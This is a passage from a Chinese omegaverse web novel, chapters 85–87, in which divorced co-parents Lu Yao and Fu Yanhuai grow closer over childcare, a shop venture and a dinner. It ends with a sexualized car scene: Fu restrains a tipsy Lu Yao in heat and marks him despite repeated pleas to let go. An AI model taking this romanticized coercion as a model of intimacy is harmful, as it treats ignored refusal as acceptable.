幸运,这是鹿遥今天第二遍听到这个词。 鹿遥平稳道,“如果他能一直这样无忧无虑地长大,那他的确是的。” “他会的。”傅晏淮笃定道,“我会让你,也让他,一直这样安稳地生活下去。” 鹿遥忍不住嘀咕了一句,“你倒是挺有自信的。” 鹿遥认识夏时越后性格相比以前活泼了很多,或者说,离婚后再次回到傅家,鹿遥就变得开朗了。 傅晏淮被怼了一句,但是没有不高兴,他很有耐心地把这句无懈可击的话接了下去。 “你应该相信,我的确可以做到,因为这对我来说并不是一件难事。” “我没有质疑过你的能力。”鹿遥直白开口,“但是口头上的话随便就能说出来,就算你现在是认真的,可今天说过的话也许明天也会变。所以我不要求你做什么,只要让年年正常地长大就可以。” 傅晏淮眼神一点点暗淡下去,“我为我曾经对你的欺骗道歉。” 鹿遥很惊奇,自己现在竟然可以心平气和地和傅晏淮进行有关过去的对话。 “人性如此。”鹿遥在一旁坐下来,“我刚刚的话并不是在指责你,只是时移世易,所有的人都会发生改变。” 傅晏淮没有办法说出什么,我的话永远不会变,我会永远爱你,这样空泛又肉麻的话。作为一个纯理性思考者,他认为鹿遥的话是对的。 “或许我们可以期待,变化是朝着好的方向。” 年年还在奋力吃傅晏淮手里的果泥,傅晏淮抱着他调整了一下姿势,让鹿遥能看到他。 “而且,至少说出话的当下那一刻,是可以验证真心的。” “我没有兴趣验证这个。”鹿遥看着傅晏淮,“你知道的,我已经不想验证你是不是还有真心了。” 鹿遥也没有勇气再去验证傅晏淮对自己是否真心,上一次验证的结果太过惨烈,鹿遥真的很害怕。他害怕会失去年年,也很害怕再次失去自己。 傅晏淮沉默下来,他自嘲一笑,“那现在呢。” 鹿遥一怔,“什么?” 傅晏淮深深望着鹿遥,“现在这样的生活,你可以接受吗?” 现在这样的生活?是指和傅晏淮一起在同一屋檐下,共同抚养年年吗? 鹿遥硬邦邦道,“我又不能不同意,我说不接受又怎么样。” 傅晏淮郑重道,“那我就不会再打扰你。” 鹿遥深吸口气道,“别说这些不可能发生的事了,你是年年的父亲,你有责任也必须出现在他的成长过程里。亲情很重要,父亲这个角色也很重要。” 鹿遥的成长过程中没有体会过有父亲指引和母亲陪伴的感觉,一切都是鹿遥自己克服和摸索,他希望年年可以不要像他这样。 “是。”傅晏淮低低开口,“我会的。” 不要着急,鹿遥已经有了松动的迹象,不要着急… 鼓动的腺体带起难以压抑的欲望,傅晏淮反复让自己耐心一点。 至少他们还有一个共同的孩子,这是他和鹿遥之间永远无法斩断的,最紧密的联系。 仅次于完全标记。 果泥没有了,年年的零食时间结束,他意犹未尽地挂在鹿遥身上。 文筝也吃完坐到沙发上,她有点奇怪地看着傅晏淮和鹿遥之间古怪的氛围。 不过她没急着开口问,只是用手指逗了逗年年的脸。 “好像又长大了一点点,到过年的时候能有八个月大了。” 文筝回忆着道,“八个月的话,有的小孩子可能都会走路了,今年我们家的新年要比去年更热闹了。” 去年过年…那时候年年还没出生。 不过鹿遥记得当时自己的肚子已经鼓起来了,他们还拍了全家福。外面的烟花很美,一切都很美满。 鹿遥收回思绪,他低头看看年年笑笑,“那可以买一点小的烟花,放给年年看。” 年年好奇地跟着鹿遥一起歪头,整个人歪歪斜斜地倒在鹿遥胳膊上。 “小心,别摔了。” 鹿遥想把年年重新抱起来坐好,但年年不配合地扭来扭去,还在鹿遥身上乱蹬。 傅晏淮在一旁托了一下年年的屁股,以防他摔下去,然后他对鹿遥道,“他闹人的时候一时半会安静不下来,我带他玩。你一直这样抱着会不会很沉。” 看鹿遥好像想反驳他,傅晏淮有道,“我抱他玩,就坐在这里,不离开你的视线。” 文筝忽然开口道,“让他哄,小鹿来陪妈妈歇歇。” 鹿遥犹犹豫豫地把年年给他,年年竟然也真的没有抗拒,他熟门熟路地抓着傅晏淮的领子往上爬。 傅晏淮微微向后仰头让他爬,年年吭哧吭哧拽着他脖子往上,傅晏淮看出他还想骑上去。 傅晏淮没有站起来,只是坐着把他抱上去,鹿遥在一旁瞪大眼睛。 傅晏淮握住年年的两条小腿,年年开心地笑起来,乱抓傅晏淮的头发。 “不会有危险的。”傅晏淮转过头对鹿遥解释,“我会很小心,他喜欢这样。” 傅晏淮头发很凌乱,脸也被年年乱踢到很多次,但是年年看起来的确是很开心。 鹿遥的目光就在这个场景里一点点软下去,“好吧。” 第85章 第 85 章 搞事业 今晚年年有效消耗了体力, 晚上睡觉时间很准时,而且睡得很熟。 鹿遥把小被子给年年盖好,再三检查了年年的睡眠状态, 这才小心翼翼关门出去。 傅晏淮一直在走廊里等着鹿遥,鹿遥一出来正好看到了他。 今晚过得氛围还不错, 傅晏淮对年年也很上心,鹿遥难得没有无视他直接走过去。 “在这等着干什么。” 鹿遥冷着脸不爱看他, “年年睡了, 你也回去吧。” “我在等你。” 傅晏淮穿着居家服的样子看着比平时好接近很多, 这样的氛围下几乎可以说他是温柔的。 傅晏淮低声询问他, “那份策划案, 你还满意吗?” 那份策划案还放在桌上, 鹿遥没有翻开看。 “我没有要你非做这些。”鹿遥忍不住开口,“你休息了这么久,公司应该也有很多事要忙, 策划案我会自己想办法的。” “我只是想做点什么。”傅晏淮十分诚恳道, “只是想有一个能接近你生活的机会, 做这些都是我自愿的,如果让你感到困扰,那实在不是我的本意。” 鹿遥紧紧蹙眉盯着傅晏淮看了一会, “我没有觉得困扰, 我只是觉得这件事不需要麻烦你,你可以把精力放在其他地方。” “能把精力用在这件事上,我觉得很好,很值得。” 鹿遥从没想到傅晏淮竟然会说出这样的话,毕竟给他做策划案,一点都不符合傅晏淮的利益。不过他也没兴趣深究傅晏淮是否是真的这么想, 喜欢做就做吧。 鹿遥只好道,“那随便你吧,我要回去休息了。” 傅晏淮退开一步点头,“好,做个好梦。” 这话对于鹿遥来说有点太过肉麻,他觉得现在他和傅晏淮之间还没有熟到这种程度。 鹿遥没有回应傅晏淮,只是关门无声把傅晏淮拒绝在门外。 不过不想理会傅晏淮本人是一回事,要看傅晏淮写的策划案又是另一回事。鹿遥关上门,在门口看着桌上的策划案犹豫片刻。 最终他还是走过去,迟疑把策划案翻开了。 傅晏淮这次写的策划案远比上次的更详细和妥善,看得出来是花了很大心思写了又改出来,旁边还做了批注和详解。 “我又不是导师。”鹿遥嘟哝了一句,“搞得好像学术论文一样。” 不过这份策划案还是让鹿遥的脸色变晴朗,不管是什么人,只要是被用心对待,情感上来说都不会生出什么负面情绪。 傅晏淮最近很有边界感,真正地数起来,其实他确实没有做什么太过分的事。 鹿遥决定明天一天短暂地给傅晏淮一点好脸色,毕竟今天傅晏淮把年年哄得也挺高兴的。 年年和傅晏淮的关系在逐渐变得亲近,鹿遥知道这是无法避免的事,但当他真的面对这一幕时,还是会有一切发展都不受控制的无力感。 鹿遥只能安慰自己这是件好事,孩子和父亲亲近没有什么不好的。基因和血缘无法改变,在这基础上努力适应彼此是唯一能做的事。 当天晚上鹿遥翻看策划案的时间有点长,一抬头已经快到十二点。鹿遥打着哈欠定好闹钟,第二天还要继续去品牌店接着看。 鹿遥预料到了傅晏淮可能晚上回到家又会来问他策划案,鹿遥都准备好怎么敷衍他赶紧回卧室了,结果傅晏淮竟然在中午直接来了店里。 夏时越看着傅晏淮熟门熟路推门进来人都愣了,他匪夷所思问傅晏淮,“你又来做什么?” 傅晏淮身后的助理默默把手里的东西放到桌上,傅晏淮自然开口,“营养师送来的,我和你们一起吃。” 助理把小碟子一个个拿出来,鹿遥怀疑自己的记忆错乱了,“等等,我没有要营养师来送饭啊。” 鹿遥忙了一上午,现在还是晕头转向的,傅晏淮伸手轻轻戳了一下鹿遥隐隐有翘起来趋势的一撮头发。 鹿遥立刻警醒地后退一大步,傅晏淮眼底浮现笑意,“是我安排的,家里司机送过来不费什么事,来吃饭吧。” “停停停。”夏时越打断傅晏淮和鹿遥的对话,“送饭是一回事,你和我们一块吃这是什么意思啊。” 傅晏淮故作低落地看着鹿遥,“只是今天凑巧了而已,如果你不愿意,那我就…先走了。” 鹿遥是个心软的人,傅晏淮笃定了就算他现在真的离开也能让鹿遥短暂不忍心一会。 更何况,鹿遥昨天还决定今天对傅晏淮态度好一点。 “好吧。”鹿遥勉强道,“那你坐在那边,这里没有地方了。” 夏时越目瞪口呆又看向鹿遥,鹿遥竟然同意了?为什么,傅晏淮又偷偷摸摸干什么了? 这对傅晏淮来说是个非常良好的信号,鹿遥愿意尝试着接纳他,哪怕只是表面上违心的。 “好,我不会打扰你们的。” 傅晏淮细心地把桌上东西都整理好,还把鹿遥的碗筷都摆出来才走到另一边。 夏时越的表情变得一言难尽,不知道为什么,当傅晏淮这么做的时候,夏时越只想狠狠给他两拳。 “茶味四溢。”夏时越坐下后就和鹿遥嘀咕,“他就是故意的,装的。” 由于外面还在持续填补电器用具,所以几个人都只能暂时在隔间里短暂午休。虽然夏时越已经尽力压低声音,但还是和当面蛐蛐没有区别。 “最近他把年年照顾得很好。” 鹿遥这句算是解释,而且年年现在懵懵懂懂地算是有了自我意识,他喜欢谁不喜欢谁还是有偏好表现的。鹿遥相信傅晏淮是真心对年年好的,不然年年不会逐渐对他产生信赖。 夏时越只好道,“算了。” 血缘关系无法分割,年年在这里,傅晏淮和鹿遥就不可能永远不产生交集夏时越对这样杂乱的关系感到很头痛。 傅晏淮当然听见了这段对话,他微不可查地轻叹口气。 原来是为了年年。 这是家里营养师第一次来送饭,不得不说省了很多事,而且家里的厨师也很懂鹿遥的口味。最近鹿遥的胃口稍微好了一点,不过没怎么长肉,反而是年年长势喜人,傅晏淮感到很困惑,也略微有点烦恼。 鹿遥吃完傅晏淮也没急着走,他状似无意地开口,“最近公司有一个合作项目,聘请了一个绘画设计团队,品牌的logo你们有在考虑吗?考虑得怎么样了。” 一提到工作相关的事,不管傅晏淮再怎么委婉,一张嘴还是有一股上司质问下属的感觉。 鹿遥现在只想快点把傅晏淮给请出去,他又挤出点耐心开口,“还没有。傅氏集团聘请的团队应该只为傅氏集团工作,公事和私事应该分开看待和处理,这一点你应该比我更清楚。” 傅晏淮沉默不语,合作项目只是他想的一个借口,这个团队就是他亲自为鹿遥挑选的。 傅晏淮不擅长想这些迂回的借口,所以被指出漏洞他选择说出实情。 “是我为你请的。”傅晏淮制止住鹿遥要去收拾桌子的动作,他犹豫了一下开口,“一个品牌和单纯只开一家店不同,想要让这个牌子被大众记住是需要按市场需求具体规划的,我觉得,我或许可以给出一点意见。” 这个店虽然看起来也初具雏形,但是傅晏淮来的这短短几次就能看出来各方面其实都很混乱,如果要鹿遥和夏时越自己摸索的话,可能要走很多弯路。 鹿遥也知道这个品牌不好规划,不然他也不会每天都翻来覆去地研究策划案看,看着傅晏淮,鹿遥内心有点纠结。 有现成的专业人士,鹿遥的确愿意听一听他的分析,但是当这个专业人士是傅晏淮的时候,鹿遥就不那么情愿了。 “那…” 鹿遥好像得了针对傅晏淮的说话羞耻症,他反复做完心理准备才最终妥协,“你要怎么给意见。” 傅晏淮不动声色上前一步,“或许,我们先需要准备一间会议室。” 鹿遥看向外面傅氏集团的高楼,深深叹了口气。 接下来的时间傅晏淮都在想尽办法参与进鹿遥的生活,在家就一直照顾年年,上班就一直找借口去店里找鹿遥,还在隔壁直接租了一间办公室。 这间品牌店一点点地在所有人的努力下逐渐步入正轨,与此同时,傅晏淮的腺体恢复速度飞快,白冷杉的味道又开始在傅晏淮身上出现。 傅晏淮花了两天才重新适应了s级alpha的生理节奏,不过鹿遥的腺体还是那个样子,没有进一步更好,也没有进一步更坏。鹿遥还是没有去医院重新检查,腺体恢复好势必会面临更多问题,鹿遥抱着能拖一天是一天的心态一直这样放任着。 直到品牌logo、定位还有招聘计划完全定下来后的那天晚上,鹿遥很高兴地拿好资料准备今天提前回家,他想要和家里人还有年年分享自己的喜悦。虽然有傅晏淮的帮助和夏时越的提供意见,但大多数工作和决策其实是鹿遥来制定的,傅晏淮确实如他所说地只是帮助鹿遥清晰目标。 靠自己的努力做成一件事,这样的喜悦足以点亮鹿遥平常的生活。 他兴致很高地拿上外套出门,夏时越最近和鹿遥在一起的时间变少了,不知道为什么夏文进忽然要他回自己家公司帮忙。据夏时越和鹿遥抱怨,其实公司根本没什么事要他帮忙,夏文进怕他把公司干倒闭。但即便如此,夏文进还是时不时就把夏时越叫走。 今天夏时越也没时间到店里,鹿遥装好东西就要出门。 家里的车还是在停车场等着,鹿遥熟门熟路走过去。结果刚刚一打开门,就看见傅晏淮在里面坐着。 鹿遥在车门前停住,傅晏淮刚刚没有说要和他一起回去啊。 第86章 第 86 章 二人晚餐 “你怎么又来了。” 鹿遥最近和傅晏淮的相处时间比以前多了很多, 虽然面对傅晏淮还是会觉得别扭,但鹿遥已经能够保持面上的自然,他现在已经能够做到和傅晏淮正常相处。 傅晏淮把装可怜这一套练习得炉火纯青, 他略带难过地看着鹿遥,“你不想看见我吗?” 鹿遥一噎, 这话他可怎么接,怎么傅晏淮表现得像是自己把他给渣了一样。傅晏淮天天到底在委屈什么, 好像抛夫弃子的绝情的人是鹿遥一样。 鹿遥不想和傅晏淮废话, 他劝告自己要有耐心, 随后敷衍说了一句, “行, 先回去吧。” “现在还早。”傅晏淮看了眼时间, 他侧头对坐在自己身旁的鹿遥发出邀请,“在这里工作了这么久,是不是还没有好好逛过这里的商场。” 鹿遥蹙眉疑惑道, “你想说什么就直接说。” “我订了顶层的夜景餐厅, 两人位, 就当是为你庆祝。”傅晏淮在暗中观察鹿遥的反应,他喉结上下滚了滚,心底没由来竟有了些许紧张。 他的确只是想和鹿遥吃一顿饭, 理论上来讲, 凭借自己的努力做成功一件事的喜悦是会想要和他人分享的。虽然傅晏淮没有过这种情绪,但傅晏淮能看到正常人都会这么做,而且这又是一个很好的接近鹿遥的借口。 不过这也要鹿遥同意才行,傅晏淮停顿片刻后又补充道,“只是吃一顿晚饭,不会耽误太久。” 鹿遥没想到傅晏淮是要邀请他共进晚餐, 事实上他和傅晏淮坐在一起同桌用餐的时刻很少,最近在傅家老宅才开始时常和傅晏淮碰见。以前只有他们两个人的时候,他是没有机会面对面和傅晏淮一起吃点什么的。 鹿遥想象了一下只有他和傅晏淮吃饭的场景,他有些别扭地抿了抿唇,这样让他感觉好奇怪。 “还是不了吧。”傅晏淮这些天尽心尽力,鹿遥知道他白天忙完之后,晚上回去会把公司的工作拿回家做,而且年年也在逐步接受他。鹿遥没有说其他的,只是委婉道,“年年还在家里等着呢。” 还有一个很重要的原因,虽然鹿遥没有再问傅晏淮具体的恢复情况,但他能感觉到傅晏淮的腺体似乎已经完全恢复了。 每当和傅晏淮共同处在一个狭小空间时,鹿遥都会闻到似有若无的冷香,紧接着鹿遥就会觉得有点不舒服,需要尽快到开阔一点的空间才能恢复平静。这个状态和鹿遥最开始即将分化的那种晕头转向的感觉很像,他不想冒险,鹿遥很担心自己会失态。 “你最近还有去检查腺体吗?” 鹿遥冷不丁问了这个问题,傅晏淮有些出乎意料。 “没有,没出现什么异常,就没有再去检查。”傅晏淮耐心开口问道,“怎么了吗?” 鹿遥掩饰地别开眼,“没什么,我还是担心年年,我们回去吧。” 傅晏淮微微眯了下眼,他忽然改变了主意。 “餐厅的位子不能退。”傅晏淮故作为难,“不然我们吃完早点回去?” 鹿遥不高兴地看着他,“那你为什么不提前和我商量,自己就定了?而且你什么时候会在意预定的座位能不能退这种事了。” “我的确不在乎。”傅晏淮怎么可能会在意这么点钱,他想尝试鹿遥的底线在哪里。 他就这样神色专注缱绻地看着鹿遥,“我想和你有一点单独相处的时间,父母、孩子、朋友。我找不到能和你单独相处的时间,所以——我当然不想放过今天这样白白送上的好时机。” 浪漫鹿遥没有感受到多少,他只觉得脊背莫名多了一股凉意,像是被什么食肉猛兽给盯上了。 鹿遥的神色隐隐浮现不安,傅晏淮当即缓和语气低声开口,“我只是…想要一个追求和向你示好的机会。” 傅晏淮都这么可怜了,鹿遥还能说什么?他无言半晌才开口道,“吃完就回去,年年今天没有准时看到我,他肯定会不高兴的。” 傅晏淮答应得很痛快,“好,最多两个小时。” 鹿遥猜测可能是什么高级餐厅,菜品要一道一道慢慢上。但他刚刚都已经答应了,只好无奈叹了口气。 果然是吃人嘴短拿人手软,傅晏淮忙前忙后地给他帮忙,鹿遥现在都不好意思直接拒绝他了。 餐厅离得很近,傅晏淮订的位置是整个餐厅里视野最好的,私密性也很强。 餐前上了红酒,鹿遥喝不出来具体是什么品种,他只能根据酒的颜色是红色来判断这是红酒。 “我想你大概也不会喜欢听太长的红酒介绍。”傅晏淮看着鹿遥开口,“所以我让服务生免去了这个环节。” 鹿遥的确不喜欢,一般都是在高级场合才会有人来专门介绍酒水和菜品,鹿遥也曾经接触过。 比如和第一次见到傅晏淮的那次酒会,鹿遥在做酒侍培训的时候就机械背了很多红酒的介绍。 一个对酒精没有兴趣的人当然不会喜欢背,也不会喜欢听。 这个隔间并不小,可也不算大。谈生意办事不会选择这样单个相对的坐席,这个位置是情侣会喜欢的。餐厅贴心地考虑到了顾客们增进感情的需求,没有把隔间设置得太空旷。 鹿遥觉得他和傅晏淮离得太近了,抬眼就能看见傅晏淮的脸,垂下眼是傅晏淮随意放在桌上的手。 鹿遥掩饰性地喝了口红酒,淡淡嗯了一声。 他打定主意闷不吭声吃完就走。 “还好吧。”鹿遥敷衍道,“都一样。” 前菜摆在精致的小碟子里,鹿遥尝了两口就没有了。 挺好吃的,但是也仅限于此,鹿遥没有觉得美味得有多特殊。 或许是傅晏淮坐在对面,给鹿遥带来的无形的压迫感太强,他现在没由来地感觉有点焦躁。 鹿遥抬起红酒杯喝了大半,傅晏淮微微皱了下眉提醒他,“别喝太急,这个酒容易醉人,先吃菜吧。” “红酒度数都没有太高的吧。”鹿遥半信半疑道,“有谁会喝红酒喝醉了吗?” 傅晏淮有点无可奈何,“通常都没有,但我记得你的酒量不算太好。” 鹿遥权当自己什么都没听见,他低下头去开始认真吃饭。 傅晏淮也抬起酒杯浅尝了一口,他看鹿遥不搭理自己,就想了个话题开口。 “我在想给年年请一名早教老师,以免他在家里太过无聊。” 鹿遥差点被酱汁呛到,喉咙不舒服导致他憋得脸色有点红,鹿遥只好把杯子里剩的红酒也都喝了。 “他还不到七个月。”鹿遥提醒傅晏淮,“现在学习是不是太早了一点。” 傅晏淮解释道,“只是类似做游戏的形式,每天也只陪伴一两个小时。这样会帮助年年更快融入社会,也可以建立良好的习惯。” 早教这种事鹿遥也听说过,但是他不确定现在是不是一个良好的时机,年年还只是个小婴儿。 鹿遥没有立刻回绝,“我需要回去了解一下具体的早教课程和体系,还要看年年的状态,并不是所有孩子都适合上早教课。” “我还是觉得现在家里有一点太宠他了。”傅晏淮在孩子教育方面是完全的严父,或者说,除了鹿遥,傅晏淮对所有人所有事都是高标准严要求。 绝对的理性策划者提出建议,“他需要有一点压力和学习适应规则,这是每个人成长中都必须要面对的事。” 鹿遥没由来地感觉一阵憋闷,他抗拒地扭过头,“你来和我吃饭就是要说这些吗?” 傅晏淮立刻把态度放软,“不是,我们当然可以聊一点其他的。” 鹿遥这才把头又扭回去,不过他已经肉眼可见地不高兴起来,傅晏淮牙根微微泛酸。 傅晏淮觉得做小动作的鹿遥很可爱,他颈侧的腺体又突兀跳了一下。 冰凉酒液短暂缓和了这份燥热,傅晏淮温声再次开口,“过年的时候,你想去哪里旅行吗?” 鹿遥反问,“你是说家庭旅行吗?还是…” 傅晏淮现在没有和鹿遥单独出去旅行度假的资格,他好脾气地承认,“带上年年,或者谁想去都可以一起去。” 鹿遥面色稍缓,他认真思考了一下这个提议,“那海边或许不错,现在天气很冷,到暖和湿润的地方应该会很不错。而且年年应该也会喜欢玩水,不知道他喜不喜欢踩沙子…” 鹿遥忽然想起了什么,他眼睛变亮道,“还可以捡很多海鲜和贝壳,应该会很好玩。” 傅晏淮定定看着鹿遥,把鹿遥盯得都不自在起来。 他别扭往后挪了挪,鹿遥小声问道,“你在看什么。” “没有。” 傅晏淮握着酒杯的手稍稍缩紧,鹿遥脸上已经泛起红晕,而且还对他露出这样鲜活生动的状态。傅晏淮觉得,鹿遥或许已经喝醉了。 此时alpha的□□在和仅存不多的良心艰难作斗争,傅晏淮的酒量还可以,至少没有一杯红酒就会神志不清。 但是鹿遥现在这样有点太可口了,傅晏淮艰难强迫自己把目光移开。 傅晏淮的喉结上下滚了滚,“我觉得很好,海边的确很适合度假,年后的假期我们就去吧。” 鹿遥的表情变得明媚起来,“那我们要带很多东西了,品牌店里的事也要尽快解决,最好在过年直接可以正式营业,就是不知道时间上来不来得及…” 傅晏淮看着鹿遥神采飞扬的脸,眼神变得温柔下来。 他想要的或许就是这样,鹿遥可以在他面前展示自己真实的情绪。不管是快乐的,难过的,还是愤怒的,傅晏淮都愿意一一把这些情绪接住,陪伴他走过或平淡或特别的每一天。 鹿遥说着说着才后知后觉地意识到不对劲,他猛地闭上嘴看向傅晏淮,鹿遥感觉自己有点晕晕的。 鹿遥舔了下有些干涩的唇瓣,他渴了。 傅晏淮还以为鹿遥哪里不舒服,他面色禁不住严肃下来,“怎么了?” “我…我想喝水。”鹿遥看向桌上的红酒,他不能再碰那个了,“白水就可以。” 傅晏淮立刻叫人送来,鹿遥的面色越来越红,傅晏淮意识到这顿饭不能再吃下去了。 虽然有点遗憾,但傅晏淮还是理智回归,“我们先回家吧,年年一会要等着急了。” 傅晏淮贴心地没有提这些异样,他站起身就要走过去搀起鹿遥,“走吗?” 鹿遥小口小口喝了点水,口中的干燥并没有得到有效缓解,他晕晕地抬起头,脸上很烫。 “等一下。” 第87章 第 87 章 临时标记 傅晏淮走到鹿遥身边站定, 低头蹙眉看着他。 傅晏淮客观地开口陈述事实,“你的脸很红。” 鹿遥把脸埋进手心里,他揉了揉脸让自己精神一点, “先等一下…我,我好像有点不太舒服。” 这应该已经不是‘好像’, 而是确实不舒服。 傅晏淮轻轻握住鹿遥手腕,他试图把鹿遥拉起来。 “先离开这里。” 鹿遥身上变得越来越烫, 他努力抬起脸, 滚烫的呼吸吐息在傅晏淮手上。 “好, 好。我…” 这不是正常喝醉酒的表现, 这个样子更像是分化之前的表现了。 鹿遥摇摇晃晃地撑住桌子站起来, 他用力咬了下嘴唇, 刺痛感让鹿遥眼里蒙上一层薄薄的水雾。 颈后沉寂已久的腺体突兀抽动了一下,眩晕产生的巨大倒错感和热意交织,鹿遥用力扶住桌角的手背凸起青筋。 鹿遥只能庆幸自己一直以来的小心, 虽然他信息素的味道很浅很浅, 但他还是在家里和外面都规规矩矩贴着腺体贴。只要信息素还没有逸散, 那就至少还能撑到回家的时候。 隔着腺体贴,傅晏淮的确没有闻到什么,但他和鹿遥是已经有过完全标记的ao。omega每一点异样的状态和情绪都可以牵动傅晏淮, 他都能有察觉。 “鹿遥…”傅晏淮的嗓音变得暗哑, “你的发情期好像要到了。” 鹿遥猛地回过头,水润黝黑的眼睛就这样清晰暴露在傅晏淮眼中。 “我没有!” 傅晏淮的腺体开始被带动得发热,他压下自己蠢蠢欲动的欲望,闭了闭眼。 傅晏淮把鹿遥拉进自己怀里,按住他的后颈。鹿遥的脸紧贴在傅晏淮肩膀上,傅晏淮把他裹紧自己的大衣里, 鹿遥闻到了一点点白冷杉的香气,他不受控制地揪紧傅晏淮的衣角,偏过头凑近傅晏淮颈侧。 鹿遥的头发毛绒绒蹭在傅晏淮颈侧的皮肤上,随后又是鹿遥滚烫带着甜味的呼吸,傅晏淮克制地稍稍向后仰试图冷静。 “如果你过后要怨我的话,我也没什么可说的。” 傅晏淮控制着手上的力道,竭力不伤害到鹿遥。鹿遥闻到他的信息素之后状态的确变得稍微平稳下来,只是还是动来动去。 傅晏淮陷入两难的境地,鹿遥近期都没有再去过医院检测,他不知道该带鹿遥先去找抑制剂还是给一个临时标记。 发情期要持续七天,傅晏淮不认为鹿遥的身体现在可以承受。他思考过后偏向于认为这是鹿遥腺体到了临界点即将恢复的假性发情,但傅晏淮不清楚他可不可以给临时标记。 ao的生理性标记不管怎么说负面影响都会比抑制剂小,以鹿遥的状态,也不知道可不可以等到去医院。 傅晏淮把外套脱下来罩在鹿遥身上,随后将他整个打横抱起,鹿遥昏昏沉沉靠在傅晏淮身上。在这个alpha临时建立起的,黑暗、充满白冷杉味道的安全环境里对抗自己体内不断涌起的热浪。 傅晏淮迅速把人带到车上,还好傅晏淮的车都很高级,车厢内有信息素隔绝系统,足以应付一些意外的突发状况。 傅晏淮降下隔板,他不确定现在鹿遥还留有几分理智,他慢慢地和鹿遥商量。 “你的腺体还没有恢复,我不想在没有医生同意的情况下给你使用抑制剂。” 鹿遥的腺体损坏很大原因就是过量使用抑制剂,傅晏淮不能冒一点险。 “现在有两个选择,一个是去医院,但从这里到医院大概需要二十分钟。另外一个,就是临时标记。” 大衣被拉开一条缝隙,鹿遥躲在黑暗里看着透出的一丝光亮,从这一点昏暗的光线里看到傅晏淮的脸。 湿润的眼睛,微张的唇瓣,和难过的表情。 傅晏淮握着鹿遥肩膀的手瞬间缩紧,先前的克制在此刻全部消失殆尽,腺体滚烫显示着自己的急切。 alpha原始的冲动促使傅晏淮低下头去标记自己的omega,他原本就该是属于自己的。 傅晏淮摘下自己的腺体贴,他低下头凑近鹿遥,嗓音低哑,“为什么不说话。” 铺天盖地的白冷杉信息素瞬间将鹿遥笼罩,鹿遥已经很久很久没有置身于这么高浓度的s级信息素里,他忍不住发出一声呜咽。 鹿遥只是胡乱摇头,他想躲开,但是又不自觉地被傅晏淮的信息素吸引。alpha对omega的引诱与压制是与生俱来的,鹿遥无法逃脱这个无形的牢笼。 鹿遥的身体开始回忆起他和傅晏淮之间的完全标记,鹿遥绝望地发现自己已经开始有了不太妙的连带反应。 “我要回家。”鹿遥觉得很委屈,他挣扎着想从傅晏淮的怀里出去,“我要抱…年年。” 傅晏淮强势锢住鹿遥的腰,以免他乱动掉到地上。 傅晏淮极为缓慢地撕掉鹿遥后颈上的腺体贴,圆鼓鼓透着粉色的腺体接触到空气中浓郁的白冷杉信息素,鹿遥瞬间弓紧身体,紧紧抓住傅晏淮的衣袖。 傅晏淮用指腹揉捏这个圆嘟嘟的腺体,看着鹿遥露出了从前,他很熟悉的反应。 熟悉的甜味再次在空中弥漫,焦糖的甜香刺激傅晏淮的腺体分泌出更多的白冷杉信息素。把焦糖气味堵在这个狭小车厢的每一个角落,傅晏淮的指腹不自觉加重,他还想要更多。 鹿遥面色通红地呜咽哭泣,他已经太久没有受到过这么强烈的刺激,恢复感知的腺体敏感且脆弱,鹿遥止不住地浑身轻颤。 鹿遥这样受惊小动物的姿态短暂唤醒了傅晏淮,他挣扎仰头想挣脱开傅晏淮的束缚,但只能喘息着流泪。 “松、松开。” 完全标记正在鹿遥体内逐渐苏醒,腺体恢复的这一刻首先感知到了傅晏淮的信息素,它迫切地想要alpha的安抚。鹿遥没有办法抵抗这一切,仅仅是简单的拒绝都已经耗费了他全身的力气。 傅晏淮按压住鹿遥的腺体,他的手指停下没有再动,但是完全没有要把鹿遥放开的意思。 “现在松开的话,你会摔下去的。” 傅晏淮语带诱哄地开口,“不舒服的话,这样抱着会不会舒服一点。” 鹿遥胡乱摇头,他挣动的幅度忍不住大了一点,傅晏淮的手顺势力道收紧扣住他的腰。 “放开,放开我!” 鹿遥慌乱地只想离傅晏淮远一点,但是毫无章法的乱动让傅晏淮的身体也变得滚烫,鹿遥能清晰感觉到有个东西在硌着他。 鹿遥不可置信地瞪大眼睛愣愣看着傅晏淮,他可怜又凌乱地被禁锢在傅晏淮身上,不知道自己该怎么做才好。 傅晏淮又捏了一下鹿遥的腺体,然后满意地感觉他浑身软下来哆嗦。 “真可爱。”鹿遥紧紧闭着眼睛,闷不吭声地抵御这种奇异的感觉,傅晏淮俯身吻了吻鹿遥的眼皮。 鹿遥现在已经无法思考,他全凭本能在行动,鹿遥从傅晏淮身上察觉到了很危险的气息,但他不知道该做什么反应,也不知道该怎么躲开。 鹿遥自欺欺人地想缩回傅晏淮的外套里,热意和砰砰作响的心跳占据了他所有的理智。 “很快就好,没事的。”傅晏淮承诺道,“别紧张。” 如果过后鹿遥要对他生气,他会想办法好好补偿他的。 傅晏淮的嘴唇贴近鹿遥的后颈,鹿遥的脸紧紧靠着傅晏淮的胸膛,他惶恐地怔怔盯着眼前傅晏淮胸口的毛衣,直到傅晏淮的犬齿刺破他的腺体。 当s级alpha的信息素倒灌进体内的那一刻,鹿遥的身体比他自己更先一步回忆起从前的所有。在还是beta时傅晏淮每一次不满意地用力标记,直到鹿遥没有腺体的身体也能够记住傅晏淮的信息素。 还有在鹿遥分化成omega的时候,他还没有来得及体会做omega的感觉,就和傅晏淮有了完全标记。 鹿遥大脑一片混沌,他哭泣着把眼泪都蹭在傅晏淮的衣服上,挣动逐渐变得微弱——omega是没有办法拒绝自己的alpha的。 虽然alpha对omega有天生的掌控能力,但傅晏淮还是浅尝辄止,这个标记并不深,傅晏淮也没有持续咬太久。 傅晏淮还在担心鹿遥的腺体没有完全恢复,另一方面,他觉得,鹿遥应该是不愿意现在就和他有临时标记的。 鹿遥身体的颤抖又持续了一会才慢慢停止,刚刚做过标记的omega对外界环境会变得敏感,傅晏淮持续释放信息素,搭建出一个简陋的安全场所。 鹿遥晕晕地费力把傅晏淮的衣服拂开,但随即傅晏淮就直接把衣服裹到鹿遥身上,把他抱到自己旁边坐好。 “会着凉的。”傅晏淮解释道,“你刚刚出了汗。” 鹿遥理智开始回归,他回忆了一下刚刚的混乱,无法把这次临时标记仅仅归因于那杯酒或者是傅晏淮,毕竟他的腺体在逐渐恢复他也有预感。 鹿遥安慰自己他和傅晏淮的完全标记是无法斩断的,他的腺体如果要做s级alpha的清楚标记手术,那一定会报废得很彻底。 鹿遥的脸紧绷着,傅晏淮在一旁想说点什么,又怕他不高兴。虽然刚刚浅浅标记过,但傅晏淮腺体的躁动并没有缓解太多,他调整了下呼吸开口。 